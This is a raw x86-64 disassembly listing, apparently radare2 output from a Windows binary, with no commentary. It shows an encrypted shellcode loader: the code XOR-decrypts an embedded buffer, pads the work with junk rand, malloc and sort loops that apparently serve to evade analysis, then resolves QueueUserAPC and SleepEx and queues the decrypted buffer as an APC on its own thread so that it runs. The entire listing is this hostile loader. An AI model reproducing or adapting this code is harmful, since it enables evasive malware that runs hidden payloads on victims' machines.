mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xddc44c7439975930
movabs rdx, 0x70be878f54f4ffd0
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x27e3d6113cf91b90
movabs rdx, 0xbb854d082017ebdc
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xf4d3ce6dbb854d08
movabs rdx, 0xae9a212e2f4035
mov qword [rbp + 0xfc], rax
mov qword [rbp + 0x104], rdx
movabs rax, 0x414e780b01be3abf
movabs rdx, 0xf95d92f165f446d9
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x62fb3011cd64c969
movabs rdx, 0x40cb2c695f16ba8d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xe27bc04cd86efbd6
movabs rdx, 0x53e7e1bff016cac0
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x46ad0e0971b966f8
movabs rdx, 0xb738bf35dada7f04
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xc12a14f09d93d6c3
movabs rdx, 0x2b364166bbdce229
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xfd945d7776289408
movabs rdx, 0xd2eceb4dec8dbb27
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x8ed2eceb4dec8dbb
movabs rdx, 0xd693af7df8560f
mov qword [rbp + 0x89], rax
mov qword [rbp + 0x91], rdx
mov dword [rbp + 0x7e0], 0
jmp 0x140002c70
mov eax, dword [rbp + 0x7e0]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x7dc]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x7e0]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7dc], 0x6a
jne 0x140002c62
mov ecx, 0x16e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x7d0], 0
mov dword [rbp + 0x5dc], 1
mov dword [rbp + 0x7cc], 0
jmp 0x140002bc1
mov dword [rbp + 0x7c8], 0
jmp 0x140002bb1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7cc]
movsxd rdx, edx
imul rcx, rdx, 0xf4
mov rdx, qword [rbp + 0x5e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7c8]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x3c
jle 0x140002b5f
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x17
jle 0x140002b53
mov dword [rbp + 0x7cc], 0
jmp 0x140002c28
mov dword [rbp + 0x7c8], 0
jmp 0x140002c18
mov eax, dword [rbp + 0x7cc]
cdqe
imul rdx, rax, 0xf4
mov rax, qword [rbp + 0x5e0]
add rdx, rax
mov eax, dword [rbp + 0x7c8]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002c11
add dword [rbp + 0x7d0], 1
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x3c
jle 0x140002be2
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x17
jle 0x140002bd6
cmp dword [rbp + 0x7d0], 0x2dc
je 0x140002c47
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x7dc], 0
jmp 0x140002c69
add dword [rbp + 0x7dc], 1
add dword [rbp + 0x7e0], 1
mov eax, dword [rbp + 0x7e0]
cmp eax, 0x67
jbe 0x140002aea
mov dword [rbp + 0x7e0], 0
jmp 0x140002e94
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7d8]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7d8], 0x67
jne 0x140002e86
mov ecx, 0x5c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x7c4], 0
jmp 0x140002d43
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x171
jle 0x140002cf6
mov dword [rbp + 0x7c4], 0
jmp 0x140002e5b
mov dword [rbp + 0x5ec], 0
jmp 0x140002e3d
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5ec]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002e36
mov eax, dword [rbp + 0x5ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5e8], eax
mov eax, dword [rbp + 0x7c4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rbp + 0x5ec]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5ec]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rdx, rax
mov eax, dword [rbp + 0x5e8]
mov dword [rdx], eax
add dword [rbp + 0x7c4], 1
mov eax, 0x171
sub eax, dword [rbp + 0x7c4]
cmp dword [rbp + 0x5ec], eax
jl 0x140002d6d
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x171
jle 0x140002d5e
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x7d8], 0
jmp 0x140002e8d
add dword [rbp + 0x7d8], 1
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x46a
jle 0x140002c8e
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x608]
mov r9, qword [rbp + 0x600]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5f8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
ret